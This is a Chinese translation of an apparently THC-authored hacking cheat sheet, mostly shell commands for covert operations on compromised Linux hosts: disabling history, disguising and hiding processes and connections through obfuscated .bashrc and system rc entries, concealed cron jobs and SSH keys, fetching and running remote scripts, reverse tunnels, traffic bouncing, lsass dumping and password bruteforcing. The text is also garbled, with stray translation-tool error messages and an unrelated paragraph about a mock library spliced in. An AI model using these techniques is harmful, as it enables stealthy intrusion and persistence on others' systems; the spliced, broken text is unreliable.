Various tips & tricks
这是我们最喜欢的一些技巧的合集。其中许多技巧并非我们原创,我们只是收集整理。
我们按原样展示这些技巧,不解释其原理。你需要了解 Linux 才能理解它们的工作方式和原因。
有好技巧?加入我们 https://thc.org/ops
让 BASH 更安静。禁用 ~/.bash_history 以及许多其他功能。```sh source <(curl -SsfL https://thc.org/hs)
备用 URL:```sh
source <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)
如果没有 curl/wget,使用 surl 和(临时)安装的 curl,通过 bin curl 调用。```sh
source <(surl https://raw.githubusercontent.com/hackerschoice/hackshell/main/hackshell.sh)
bin curl to (temporarily) install curl (in memory).HackShell 能做的远不止这些,但最重要的是:```sh
unset HISTFILE
[ -n "$BASH" ] && export HISTFILE="/dev/null"
export BASH_HISTORY="/dev/null"
export LANG=en_US.UTF-8
locale -a 2>/dev/null|grep -Fqim1 en_US.UTF || export LANG=en_US
export LESSHISTFILE=-
export REDISCLI_HISTFILE=/dev/null
export MYSQL_HISTFILE=/dev/null
TMPDIR="/tmp"
[ -d "/var/tmp" ] && TMPDIR="/var/tmp"
[ -d "/dev/shm" ] && TMPDIR="/dev/shm"
export TMPDIR
export PATH=".:${PATH}"
if [[ "$SHELL" == *"zsh" ]]; then
PS1='%F{red}%n%f@%F{cyan}%m %F{magenta}%~ %(?.%F{green}.%F{red})%#%f '
else
PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '
fi
alias wget='wget --no-hsts'
alias vi="vi -i NONE"
alias vim="vim -i NONE"
alias screen="screen -ln"
TERM=xterm reset -I
stty cols 400 # paste this on its own before pasting the next line:
resize &>/dev/null || { stty -echo;printf "\e[18t"; read -t5 -rdt R;IFS=';' read -r -a a <<< "${R:-8;25;80}";[ "${a[1]}" -ge "${a[2]}" ] && { R="${a[1]}";a[1]="${a[2]}";a[2]="${R}";};stty sane rows "${a[1]}" cols "${a[2]}";}
# stty sane rows 60 cols 160
我们大量使用 anew,这是一个快速的变通方法:```shell
xanew() { awk 'hit[$0]==0 {hit[$0]=1; print $0}'; }
which anew &>/dev/null || alias anew=xanew
额外提示:
任何以" "(空格)开头的命令也[不会被记录到历史记录中](https://unix.stackexchange.com/questions/115917/why-is-bash-not-storing-commands-that-start-with-spaces)。```
$ id
这将仅隐藏进程名称。使用 zapper 还可隐藏命令行选项。```shell (exec -a syslogd nmap -Pn -F -n --open -oG - 10.0.2.1/24) # Note the brackets '(' and ')'
启动一个后台的 'nmap',伪装成 '/usr/sbin/sshd':```
(exec -a '/usr/sbin/sshd' nmap -Pn -F -n --open -oG - 10.0.2.1/24 &>nmap.log &)
在 GNU screen 中启动:``` screen -dmS MyName nmap -Pn -F -n --open -oG - 10.0.2.1/24
screen -x MyName
或者,将二进制文件复制到一个新名称:```sh
cd /dev/shm
cp "$(command -v nmap)" syslogd
PATH=.:$PATH syslogd -Pn -F -n --open -oG - 10.0.2.1/24
或者改用绑定挂载,(临时)让 /sbin/init 指向 /dev/shm/nmap:```shell mount -n --bind "$(command -v nmap)" /sbin/init
(/sbin/init -Pn -f -n --open -oG - 10.0.2.1/24 &>nmap.log &)
<a id="zap"></a>
**1.iii. 隐藏你的命令行选项**
使用 [zapper](https://github.com/hackerschoice/zapper):```sh
curl -fL -o zapper https://github.com/hackerschoice/zapper/releases/latest/download/zapper-linux-$(uname -m) && \
chmod 755 zapper
I apologize, but I notice there is no actual content in your message. The message ends with "INPUT:" but no Markdown content follows it.
Please provide the actual chunk content to translate.```sh
./zapper -a klog nmap -Pn -F -n --open -oG - 10.0.0.1/24
(./zapper -a 'sshd: root@pts/0' nmap -Pn -F -n --open -oG - 10.0.0.1/24 &>nmap.log &)
exec ./zapper -f -a'[kworker/1:0-rcu_gp]' tmux
<a id="bash-hide-connection"></a>
**1.iv. 隐藏网络连接**
技巧是劫持 `netstat`,并使用 grep 过滤掉我们的连接。此示例过滤端口 31337 _或_ ip 1.2.3.4 上的任何连接。对于 `ss`(netstat 的替代方案)也应如此。
**方法 1 - 使用 ~/.bashrc 中的 bash 函数隐藏连接**
剪切并粘贴此内容,将这一行添加到 ~/.bashrc```shell
echo 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc
或者,剪切并粘贴以下内容,以在 /.bashrc 中添加模糊条目:```shell
X='netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }'
echo "eval $(echo $(echo "$X" | xxd -ps -c1024)|xxd -r -ps) #Initialize PRNG" >>/.bashrc
&& touch -r /etc/passwd ~/.bashrc
写入 ~/.bashrc 的混淆条目将如下所示:```
eval $(echo 6e65747374617428297b20636f6d6d616e64206e6574737461742022244022207c2067726570202d4676202d65203a3331333337202d6520312e322e332e343b207d0a|xxd -r -ps) #Initialize PRNG
方法 2 - 用 $PATH 中的二进制文件隐藏连接
在 /usr/local/sbin 中创建一个伪造的 netstat 二进制文件。在默认的 Debian(以及大多数 Linux)中,PATH 变量(echo $PATH)将 /usr/local/sbin 列在 /usr/bin 之前。这意味着我们的劫持二进制文件 /usr/local/sbin/netstat 将被执行,而不是 /usr/bin/netstat。```shell
echo '#! /bin/bash
exec /usr/bin/netstat "$@" | grep -Fv -e :22 -e 1.2.3.4' >/usr/local/sbin/netstat
&& chmod 755 /usr/local/sbin/netstat
&& touch -r /usr/bin/netstat /usr/local/sbin/netstat
*(感谢 iamaskid)*
<a id="hide-a-process-user"></a>
**1.v. 以用户身份隐藏进程**
延续“隐藏连接”部分,同样的技术也可用于隐藏进程。此示例隐藏 nmap 进程,并通过将 `grep` 重命名为 GREP 来确保我们的 `grep` 不会出现在进程列表中:```shell
echo 'ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap -e GREP; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc
这需要 root 权限,是 Linux 的一种古老技巧,通过将一个无用目录覆盖挂载到 /proc/<pid> 上来实现:```sh hide() { [[ -L /etc/mtab ]] && { cp /etc/mtab /etc/mtab.bak; mv /etc/mtab.bak /etc/mtab; } _pid=${1:-$$} [[ $_pid =~ ^[0-9]+$ ]] && { mount -n --bind /dev/shm /proc/$_pid && echo "[THC] PID $_pid is now hidden"; return; } local _argstr for _x in "${@:2}"; do _argstr+=" '${_x//'/'"'"'}'"; done [[ $(bash -c "ps -o stat= -p $$") =~ + ]] || exec bash -c "mount -n --bind /dev/shm /proc/$$; exec "$1" $_argstr" bash -c "mount -n --bind /dev/shm /proc/$$; exec "$1" $_argstr" }
要隐藏命令,请使用:```sh
hide # Hides the current shell/PID
hide 31337 # Hides process with pid 31337
hide sleep 1234 # Hides 'sleep 1234'
hide nohup sleep 1234 &>/dev/null & # Starts and hides 'sleep 1234' as a background process
(感谢 druichi 对此的改进)
上面我们讨论了如何混淆 ~/.bashrc 中的一行。一个常用的技巧是改用 source。source 命令可以简写为 .(没错,就是一个点)_并且_它也会通过 $PATH 变量搜索要加载的文件。
在本示例中,我们的脚本 prng 包含上述所有 shell 函数。这些函数隐藏了 nmap 进程和网络连接。最后,我们将 . prng 添加到系统级 rc 文件中。这样,当用户(以及 root)登录时就会加载 prng:```shell
echo -e 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }
ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap -e GREP; }' >/usr/bin/prng
&& echo ". prng #Initialize Pseudo Random Number Generator" >>/etc/bash.bashrc
&& touch -r /etc/ld.so.conf /usr/bin/prng /etc/bash.bashrc
(对于 `lsof`、`ss` 和 `ls` 同样适用)
<a id="cat"></a>
**1.viii. 对 cat 隐藏**
ANSI 转义字符或一个简单的 `\r`([回车符](https://www.hahwul.com/2019/01/23/php-hidden-webshell-with-carriage/))可用于对 `cat` 等命令隐藏。
在 `~/.bashrc` 中隐藏最后一条命令(例如:`id`):```sh
echo -e "id #\\033[2K\\033[1A" >>~/.bashrc
### The ANSI escape sequence \\033[2K erases the line. The next sequence \\033[1A
### moves the cursor 1 line up.
### The '#' after the command 'id' is a comment and is needed so that bash still
### executes the 'id' but ignores the two ANSI escape sequences.
添加一个隐藏的 crontab 行:```sh (crontab -l; echo -e "0 2 * * * { id; date;} 2>/dev/null >/tmp/.thc-was-here #\033[2K\033[1A") | crontab
添加一个 `\r`(回车符)对在 `cat` 中隐藏你的 ssh 密钥大有帮助:```shell
echo "ssh-ed25519 AAAAOurPublicKeyHere....blah x@y"$'\r'"$(<authorized_keys)" >authorized_keys
### This adds our key as the first key and 'cat authorized_keys' won't show
### it. The $'\r' is a bash special to create a \r (carriage return).
注意:使用 parallel 也能实现同样的效果。
用 20 个并行任务扫描主机:```sh cat hosts.txt | xargs -P20 -I{} --process-slot-var=SLOT bash -c 'exec nmap -n -Pn -sV -F --open -oG - {} >>"nmap_${SLOT}.txt"'
- `exec` 用于将底层 shell 替换为最后一个进程 (nmap)。这是可选的,但可以减少运行中/无用的 shell 二进制文件数量。
- `${SLOT}` 包含 0..19 之间的一个值。它是“任务编号”。我们用它将 nmap 结果写入 20 个单独的文件。
在所有 [gsocket](https://www.gsocket.io/deploy) 主机上使用 40 个 worker 执行 [Linpeas](https://github.com/carlospolop/PEASS-ng):```sh
cat secrets.txt | xargs -P40 -I{} --process-slot-var=SLOT bash -c 'mkdir host_{}; gsexec {} "curl -fsSL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh" >host_{}/linpeas.log 2>>"linpeas-${SLOT}.err"'
阻止你在 w 或 who 命令中显示,并停止将主机记录到 ~/.ssh/known_hosts。```sh ssh -o UserKnownHostsFile=/dev/null -T [email protected] "bash -i"
使用 PTY 和颜色,尽享完全舒适:`xssh [email protected]`:```sh
### Cut & Paste the following to your shell, then execute
### xssh [email protected]
xssh() {
local ttyp="$(stty -g)"
echo -e "\e[0;35mTHC says: pimp up your prompt: Cut & Paste the following into your remote shell:\e[0;36m"
echo -e '\e[0;36msource <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)\e[0m'
echo -e "\e[2m# or: \e[0;36m\e[2mPS1='"'\[\\033[36m\]\\u\[\\033[m\]@\[\\033[32m\]\\h:\[\\033[33;1m\]\\w\[\\033[m\]\\$ '"'\e[0m"
stty raw -echo icrnl opost
[[ $(ssh -V 2>&1) == OpenSSH_[67]* ]] && a="no"
ssh -oConnectTimeout=5 -oUserKnownHostsFile=/dev/null -oStrictHostKeyChecking="${a:-accept-new}" -T \
"$@" \
"unset SSH_CLIENT SSH_CONNECTION; LESSHISTFILE=- MYSQL_HISTFILE=/dev/null TERM=xterm-256color HISTFILE=/dev/null BASH_HISTORY=/dev/null exec -a [uid] script -qc 'source <(resize 2>/dev/null); exec -a [uid] bash -i' /dev/null"
stty "${ttyp}"
}
(参见 Hackshell)
2.ii 通过 1 条 SSH/TCP 连接实现多 shell
建立一条到目标的 TCP 连接,并允许多个用户复用同一条 TCP 连接来打开更多 shell 会话。
创建主连接:```sh ssh -M -S .sshmux [email protected]
使用上述同一条(单一)Master-TCP 连接创建更多 shell 会话(无需密码/认证):```sh
ssh -S .sshmux NONE
#ssh -S .sshmux NONE ls -al
#scp -o "ControlPath=.sshmux" NONE:/etc/passwd .
可以与 xssh 组合使用,以从 utmp 中隐藏。
我们经常使用这种方法来绕过本地防火墙和 IP 过滤:```sh ssh -g -L31337:1.2.3.4:80 [email protected]
现在,您或任何其他人都可以连接到您计算机上的 31337 端口,并通过隧道转发到 1.2.3.4 的 80 端口,同时以 'server.org' 的源 IP 出现。另一种无需服务器的替代方案是使用 [gs-netcat](#backdoor-network)。
聪明的黑客会使用键盘组合键 `~C` 动态创建这些隧道,而无需重新连接 SSH。(感谢 MessedeDegod。)
我们利用这一点,向朋友授予对一台不在公共互联网上的内部机器的访问权限:```sh
ssh -o ExitOnForwardFailure=yes -g -R31338:192.168.0.5:80 [email protected]
任何连接到 server.org:31338 的人都将通过你的计算机被隧道转发到 192.168.0.5 的 80 端口。另一种无需服务器的替代方案是使用 gs-netcat。
OpenSSH 7.6 为动态转发增加了 socks 支持。示例:通过你的服务器隧道转发你的所有浏览器流量。```sh ssh -D 1080 [email protected]
现在配置你的浏览器使用 SOCKS,地址为 127.0.0.1:1080。你所有的流量现在都通过 *server.org* 进行隧道传输,并且会以 *server.org* 的源 IP 显示。另一种无需服务器的替代方案是使用 [gs-netcat](#backdoor-network)。
这是上述示例的反向操作。它允许其他人访问你的*本地*网络,或者让别人把你的计算机用作隧道端点。```sh
ssh -g -R 1080 [email protected]
The others configuring server.org:1080 as their SOCKS4/5 proxy. They can now connect to any computer on any port that your computer has access to. This includes access to computers behind your firewall that are on your local network. An alternative and without the need for a server is to use gs-netcat.
ssh-j.com 提供了一个很棒的中继服务:用于访问 NAT/防火墙后面的主机(通过 SSH)。
在 NAT 后面的主机上:像这样创建到 ssh-j.com 的反向 SSH 隧道:```sh
sshj() { local pw pw=${1,,} [[ -z $pw ]] && { pw=$(head -c64 </dev/urandom | base64 | tr -d -c a-z0-9); pw=${pw:0:12}; } echo "Press Ctrl-C to stop this tunnel." echo -e "To ssh to ${USER:-root}@${2:-127.0.0.1}:${3:-22} type: \e[0;36mssh -J ${pw}@ssh-j.com ${USER:-root}@${pw}\e[0m" ssh -o StrictHostKeyChecking=accept-new -o ServerAliveInterval=30 -o ExitOnForwardFailure=yes ${pw}@ssh-j.com -N -R ${pw}:22:${2:-0}:${3:-22} }
sshj # Generates a random tunnel ID [e.g. 5dmxf27tl4kx] and keeps the tunnel connected sshj foobarblahblub # Creates tunnel to 127.0.0.1:22 with specific tunnel ID sshj foobarblahblub 192.168.0.1 2222 # Tunnel to host 192.168.0.1:2222 on the LAN
然后从世界上的任何其他地方使用此命令,以 'root' 身份连接到 'foobarblahblub' (NAT 后面的主机):```sh
ssh -J [email protected] root@foobarblahblub
ssh 连接通过 ssh-j.com 进入反向隧道,到达 NAT 后面的主机。流量是端到端加密的,ssh-j.com 无法看到内容。
处理远程服务器时,SSH ProxyJump 可以节省您大量时间和麻烦。假设以下场景:
我们的工作站是 $local-kali,我们想要 SSH 进入 $target-host。我们的工作站与 $target-host 之间没有直接连接。我们的工作站只能访问 $C2。$C2 可以访问 $internal-jumphost(通过内部 eth1),而 $internal-jumphost 可以通过 eth2 访问最终的 $target-host。```sh
$local-kali -> $C2 -> $internal-jumphost -> $target-host
eth0 192.168.8.160 10.25.237.119
eth1 192.168.5.130 192.168.5.135
eth2 172.16.2.120 172.16.2.121
> 我们不会在除受信任工作站之外的任何计算机上执行 `ssh`——你也绝不应如此。
这正是 ProxyJump 的用武之地:我们可以通过 $C2 和 $internal-jumphost 这两个中间服务器进行“跳转”(而无需在那两台服务器上启动 shell)。ssh 连接在 $local-kali 和 $target-host 之间是端到端加密的,任何密码或密钥都不会暴露给 $C2 或 $internal-jumphost。```sh
## if we want to SSH to $target-host:
kali@local-kali$ ssh -J [email protected],[email protected] [email protected]
## if we want to SSH to just $internal-jumphost:
kali@local-kali$ ssh -J [email protected] [email protected]
我们也用它来在登录服务器时隐藏我们的 IP 地址。
可以以非 root 用户启动 SSHD 服务器,并用它来多路复用或转发 TCP 连接(无需日志,当系统级 SSHD 禁止转发/多路复用时),或者作为快速的非 root 数据渗出转储服务器运行:```sh
mkdir -p /.ssh 2>/dev/null
ssh-keygen -q -N "" -t ed25519 -f sshd_key
cat sshd_key.pub >>/.ssh/authorized_keys
cat sshd_key
$(command -v sshd) -f /dev/null -o HostKey=$(pwd)/sshd_key -o GatewayPorts=yes -p 31337 # -Dvvv
```sh
# On the client, copy the sshd_key from the server. Then login:
# Example: Proxy connection via the server and reverse-forward 31339 to localhost:
ssh -D1080 -R31339:0:31339 -i sshd_key -p 31337 [email protected]
# curl -x socks5h://0 ipinfo.io
SSF 是一种通过 TLS 复用 TCP 的替代方式。
nmap -n -sn -PR -oG - 192.168.0.1/24
从 `Fake` 类构造函数(当执行 `x = Fake()` 时内部调用)开始,直到 `report` 方法。具体图示请参阅 [当前 mock 流程](https://github.com/mock-foundation/mock/wp-content/main/docs/flow-mock.md)。
为优化整体流程,`Mock` 正计划从中心化委托转向混合模式,在适当层面增强逻辑,并将方法添加到专用存储库中。```sh
### ICMP discover hosts
nmap -n -sn -PI -oG - 192.168.0.1/24
seq 1 254 | xargs -P20 -I{} ping -n -c3 -i0.2 -w1 -W200 "${NET:-192.168.0}.{}" | grep 'bytes from' | awk '{print $4" "$7;}' | sort -uV -k1,1
---
<a id="tcpdump"></a>
**3.ii. tcpdump**```sh
## Monitor every new TCP connection
tcpdump -np 'tcp[tcpflags] ^ (tcp-syn|tcp-ack) == 0'
## Play a *bing*-noise for every new SSH connection
tcpdump -nplq 'tcp[13] == 2 and dst port 22' | while read -r x; do echo "${x}"; echo -en \\a; done
## Ascii output (for all large packets. Change to >40 if no TCP options are used).
tcpdump -npAq -s0 'tcp and (ip[2:2] > 60)'
socat stdio openssl-connect:smtp.gmail.com:465
openssl s_client -connect smtp.gmail.com:465
- 如果您不想使用 `screen` 或 `tmux`,可以将进程置于后台运行:
lsassy -d $DOMAIN -u $USER -p $PASSWORD $TARGETS > $OUTPUT_FILE &
> 使用 **`procdump`** 和 **`comsvcs.dll`**
>
> 如果 lsass 受到保护,lsassy 将默认使用 `comsvcs.dll` 方法进行转储。如果这不起作用,您可以通过选项 `-m procdump` 快速尝试使用 `procdump`。```sh
## Bridge TCP to SSL
socat TCP-LISTEN:25,reuseaddr,fork openssl-connect:smtp.gmail.com:465
适用于需要在公网 IP 地址上使用 TCP 端口的反向后门:
使用 segfault.net(免费):```sh
curl sf/port echo "Your public IP:PORT is $(cat /config/self/reverse_ip):$(cat /config/self/reverse_port)" nc -vnlp $(cat /config/self/reverse_port)
使用 [bore.pub](https://github.com/ekzhang/bore) (免费):```sh
# Forward a random public TCP port to localhost:31337
bore local 31337 --to bore.pub
使用 serveo.net (免费):```sh
ssh -R 0:localhost:31337 [email protected]
使用 [pinggy.io](https://www.pinggy.io) (免费60分钟):```sh
ssh -p 443 -R 0:localhost:31337 [email protected]
另请参阅 remote.moe(免费)从目标机向你的工作站转发原始 TCP,或 playit(免费)或 ngrok(付费订阅)来转发原始公共 TCP 端口。
其他免费服务仅限转发 HTTPS(而非原始 TCP)。下文的一些技巧展示了如何通过 HTTPS 转发(使用 WebSockets)来隧道传输原始 TCP。
在服务器上,使用以下三种 HTTPS 隧道服务中的任意一种:```sh
ssh -R80:0:8080 -o StrictHostKeyChecking=accept-new [email protected]
ssh -R80:0:8080 -o StrictHostKeyChecking=accept-new [email protected]
curl -fL -o cloudflared https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64 chmod 755 cloudflared cloudflared tunnel --url http://localhost:8080 --no-autoupdate
任一服务都会为您生成一个新的临时 HTTPS-URL 供您使用。
然后,在两端使用 [websocat](https://github.com/vi/websocat) 或 [Gost](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) 通过该 HTTPS URL 隧道传输原始 TCP:
A. 通过 HTTPS 进行简单的 STDIN/STDOUT 管道传输:```sh
### On the server convert WebSocket to raw TCP:
websocat -s 8080
### On the remote target forward stdin/stdout to WebSocket:
websocat wss://<HTTPS-URL>
B. 通过 HTTPS 转发原始 TCP:```sh
gost -L mws://:8080
将端口 2222 转发到服务器的 22 端口。```sh
### On the workstation:
gost -L tcp://:2222/127.0.0.1:22 -F 'mwss://<HTTPS-URL>:443'
### Test the connection (will connect to localhost:22 on the server)
nc -vn 127.0.0.1 2222
或者将服务器用作 Socks-Proxy 出口节点(例如,通过服务器访问服务器网络内的任何主机,甚至通过服务器访问互联网(使用上述 HTTPS 反向隧道):```sh
gost -L :1080 -F 'mwss://:443'
curl -x socks5h://0 ipinfo.io
更多: [https://github.com/twelvesec/port-forwarding](https://github.com/twelvesec/port-forwarding) 和 [Tunnel via Cloudflare to any TCP Service](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) 和 [Awesome Tunneling](https://github.com/anderspitman/awesome-tunneling)。
---
<a id="iptables"></a>
**3.iii.c 使用 iptables 反弹流量**
通过主机/路由器反弹流量,而无需运行用户态代理或转发器:```sh
bounceinit() {
echo 1 >/proc/sys/net/ipv4/ip_forward
echo 1 >/proc/sys/net/ipv4/conf/all/route_localnet
[ $# -le 0 ] && set -- "0.0.0.0/0"
while [ $# -gt 0 ]; do
iptables -t mangle -I PREROUTING -s "${1}" -p tcp -m addrtype --dst-type LOCAL -m conntrack ! --ctstate ESTABLISHED -j MARK --set-mark 1188
shift 1
done
iptables -t mangle -D PREROUTING -j CONNMARK --restore-mark >/dev/null 2>/dev/null
iptables -t mangle -I PREROUTING -j CONNMARK --restore-mark
iptables -I FORWARD -m mark --mark 1188 -j ACCEPT
iptables -t nat -I POSTROUTING -m mark --mark 1188 -j MASQUERADE
iptables -t nat -I POSTROUTING -m mark --mark 1188 -j CONNMARK --save-mark
}
bounce() {
iptables -t nat -A PREROUTING -p tcp --dport "${1:?}" -m mark --mark 1188 -j DNAT --to ${2:?}:${3:?}
}
bounceinit # Allow EVERY IP to bounce
# bounceinit "1.2.3.4/16" "6.6.0.0/16" # Only allow these SOURCE IP's to bounce
(参见 Hackshell bounce)
然后按如下方式设置转发:```sh bounce 31337 144.76.220.20 22 # Bounce 31337 to segfault's ssh port. bounce 31338 127.0.0.1 8080 # Bounce 31338 to the server's 8080 (localhost) bounce 53 213.171.212.212 443 # Bounce 53 to gsrn-relay on port 443
我们利用这个技巧,从防火墙保护的网络深处访问 gsocket-relay-network(或 TOR)。```sh
# Deploy on a target that can only reach 192.168.0.100
GS_HOST=192.168.0.100 GS_PORT=53 ./deploy.sh
# Access the target
GS_HOST=213.171.212.212 gs-netcat -i -s ...
在目标网络内的主机上使用非常有用。该工具会(不留痕迹地)重新配置 SHELL:从此 SHELL 启动的任何程序(nmap、cme、...)都将使用虚假的 IP。你所有的攻击都将源自一个不存在的主机。```sh source <(curl -fsSL https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/ghostip.sh)
这也同样适用于与以下工具结合使用:
* [Segfault's ROOT Servers](https://thc.org/segfault/wireguard):将你的 ROOT Server 连接到目标网络,并在目标网络内使用幽灵 IP。
* [QEMU Tunnels](https://securelist.com/network-tunneling-with-qemu/111803/):同上,但安全性较低。
---
<a id="tunnel-more"></a>
**3.vi.d 各种隧道技巧**
### 通过 CDN 进行隧道
* 阅读 [如何通过 CloudFlare 隧道化任意 TCP 服务](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) 或使用 [DarkFlare](https://github.com/doxx/darkflare)。
### 将你的主机直接连接到远程网络
* [WireTap](https://github.com/sandialabs/wiretap) - 可以普通用户或 root 身份运行。使用 UDP 作为传输层。([在 segfault 上试用](https://thc.org/segfault/wireguard))
* [ligolo-ng](https://github.com/nicocha30/ligolo-ng) - 使用 TCP 作为传输层。通过 [cloudflare CDN](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) 或 gs-netcat 可以很好地工作。
### 通过 Cloudflare 将 SSH 用作廉价的反向代理
此方法与 [HTTPS 反向隧道](#https) 类似,但使用 SSH 而不是 Gost 或 websocat。
- 优点:目标上仅需使用 *cloudflared* 和 *SSH*。
- 缺点:需要 CF 订阅。
1. 进入你的 CF 仪表盘 -> Zero Trust -> Networks -> Tunnels
2. 新建一个任意名称的 'Cloudflared' 隧道。
3. 选择 Debian 和 64 位。Token 不会完整显示。将灰色区域复制到单独的文档中,即可显示完整的 Token(即 `sudo cloudflared service install <TunnelTokenHere>` 之后的长十六进制字符串),从而提取 "Token"。
4. 添加一个子域名(示例使用 `ssh.team-teso.net`)。
5. 设置 Type=TCP URL=localhost:22```shell
### On YOUR workstation:
cloudflared tunnel run --token TunnelTokenHere
有些工具允许你运行一条命令,但如果你需要运行多条命令呢?
---```shell
ssh -o ProxyCommand="cloudflared access tcp --hostname ssh.team-teso.net" root@0 -R 1080
您的输入似乎为空。请提供要翻译的实际内容,我将按要求将英文翻译成中文。```shell
### On your workstation, connect to _any_ host within the target network (example: ipinfo.io)
curl -x socks5h://0 https://ipinfo.io
使用 ProxyChains 或 GrafTCP 进行隧道传输,通过反向代理传输其他协议。
在目标网络上:```sh
gs-netcat -l -S
在您的工作站上:```sh
## Create a gsocket tunnel into the target's network:
gs-netcat -p 1080
echo -e "[ProxyList]\nsocks5 127.0.0.1 1080" >pc.conf proxychains -f pc.conf -q curl ipinfo.io
proxychains -f pc.conf -q nmap -n -Pn -sV -F --open 192.168.1.1
seq 1 254 | xargs -P10 -I{} proxychains -f pc.conf -q nmap -n -Pn -sV -F --open 192.168.1.{}
### 使用 GrafTCP:```sh
## Use graftcp to access any host on the target's network:
(graftcp-local -select_proxy_mode only_socks5 &)
graftcp curl ipinfo.io
graftcp ssh [email protected]
graftcp nmap -n -Pn -sV -F --open 19.168.1.1
3.v. 查找你的公网 IP 地址```sh curl -s wtfismyip.com/json | jq curl ifconfig.me dig +short myip.opendns.com @resolver1.opendns.com host myip.opendns.com resolver1.opendns.com
获取任意 IP 地址的地理位置信息:```sh
curl https://ipinfo.io/8.8.8.8 | jq
curl http://ip-api.com/8.8.8.8
curl https://cli.fyi/8.8.8.8
通过IP地址获取ASN信息:```sh asn() { [[ -n $1 ]] && { echo -e "begin\nverbose\n${1}\nend"|netcat whois.cymru.com 43| tail -n +2; return; } (echo -e 'begin\nverbose';cat -;echo end)|netcat whois.cymru.com 43|tail -n +2 } asn 1.1.1.1 # Single IP Lookup cat IPS.txt | asn # Bulk Lookup
检查 TOR 是否正常工作:```sh
curl -x socks5h://localhost:9050 -s https://check.torproject.org/api/ip
### Result should be {"IsTor":true...
https://ping.pe/ 的热心人士为你提供了从世界各地对主机执行 ping/traceroute/mtr/dig/port-check 的功能,还可检查 TCP 端口、解析域名,以及进行许多其他操作。
要检查您的(当前)主机访问互联网的状况,请使用 OONI Probe:```sh ooniprobe run im ooniprobe run websites ooniprobe list ooniprobe list 1
---
<a id="check-open-ports"></a>
**3.vii. 检查/扫描 IP 上的开放端口**
[Censys](https://search.censys.io/) 或 [Shodan](https://internetdb.shodan.io) 端口查询服务:```shell
curl https://internetdb.shodan.io/1.1.1.1
快速 (-F) 漏洞扫描```shell
nmap nmap -n -Pn -sCV -F --open --min-rate 10000 scanme.nmap.org
nmap -A -F -Pn --min-rate 10000 --script vulners.nse --script-timeout=5s scanme.nmap.org
扫描开放的 TCP 端口:```sh
_scan_single() {
local opt=("${2}")
[ -f "$2" ] && opt=("-iL" "$2")
nmap -Pn -p"${1}" --open -T4 -n -oG - "${opt[@]}" 2>/dev/null | grep -F Ports
}
scan() {
local port="${1:?}"
shift 1
for ip in "$@"; do
_scan_single "$port" "$ip"
done
}
# scan <ports> <IP or file> ...
# scan 22,80,443 192.168.0.1
# scan - 192.168.0.1-254" 10.0.0.1-254
(参见 Hackshell 的 scan)
简单的 bash 端口扫描器:```shell timeout 5 bash -c "</dev/tcp/1.2.3.4/31337" && echo OPEN || echo CLOSED
---
<a id="bruteforce"></a>
**3.viii. 破解密码哈希**
1. [NTLM2password](https://ntlm.pw/) 用于破解(查询)NTLM 密码
2. [wpa-sec](https://wpa-sec.stanev.org) 用于破解(查询)WPA PSK 密码
HashCat 是我们处理其他所有情况的首选工具:```shell
hashcat my-hash /usr/share/wordlists/rockyou.txt
在 GPU 上使用 10-days 7-16 char hashmask:```sh curl -fsSL https://github.com/sean-t-smith/Extreme_Breach_Masks/raw/main/10%2010-days/10-days_7-16.hcmask -o 10-days_7-16.hcmask
nice -n 19 hashcat -o cracked.txt my-hash.txt -w1 -a3 10-days_7-16.hcmask -O -d2
破解 OpenSSH 的 `known_hosts` 哈希以揭示 IP 地址:```shell
curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/ipv4_hcmask.txt -O
curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/kh-converter.py -O
python3 kh-converter.py ~/.ssh/known_hosts >known_hosts_hashes
hashcat -m 160 --quiet --hex-salt known_hosts_hashes -a 3 ipv4_hcmask.txt
👉 请阅读常见问题。
请注意,$6$ 哈希非常慢。即使是1 分钟 7-16 字符哈希掩码,在 8xRTX4090 集群上也需要很多天才能完成。
可以在 vast.ai 以 $0.40/小时 的价格租用 RTX-4090 GPU 集群,并使用 dizcza/docker-hashcat:cuda(了解更多)。
否则,可以使用 Crackstation、shuck.sh、ColabCat/cloud/Cloudtopolis,或在自己的 AWS 实例上破解。
3.xi. 暴力破解密码 / 密钥
以下内容适用于对在线服务的密码进行暴力破解(猜测)。
你无法暴力破解 GMAIL 账户。
GMAIL 上已禁用 SMTP AUTH/LOGIN。
所有 GMail 暴力破解和密码破解工具都是假的。
所有工具都已预装在 segfault 上:```shell ssh [email protected] # password is 'segfault'
(你可能想使用你自己的 [EXIT 节点](https://www.thc.org/segfault/wireguard))
工具:
* [Ncrack](https://nmap.org/ncrack/man.html)
* [Nmap BRUTE](https://nmap.org/nsedoc/categories/brute.html)
* [THC Hydra](https://sectools.org/tool/hydra/)
* [Medusa](https://www.geeksforgeeks.org/password-cracking-with-medusa-in-linux/) / [文档](http://foofus.net/goons/jmk/medusa/medusa.html)
* [Metasploit](https://docs.rapid7.com/metasploit/bruteforce-attacks/)
* [Crowbar](https://github.com/galkan/crowbar) - 非常适合在目标 IP 范围内尝试所有 ssh 密钥。
用户名和密码列表:
* `/usr/share/nmap/nselib/data`
* `/usr/share/wordlists/seclists/Passwords`
* https://github.com/berzerk0/Probable-Wordlists - >THC 的最爱<
* https://github.com/danielmiessler/SecLists
* https://wordlists.assetnote.io
* https://weakpass.com
* https://crackstation.net/
设置**用**户名/**密**码列表和**目**标主机。```shell
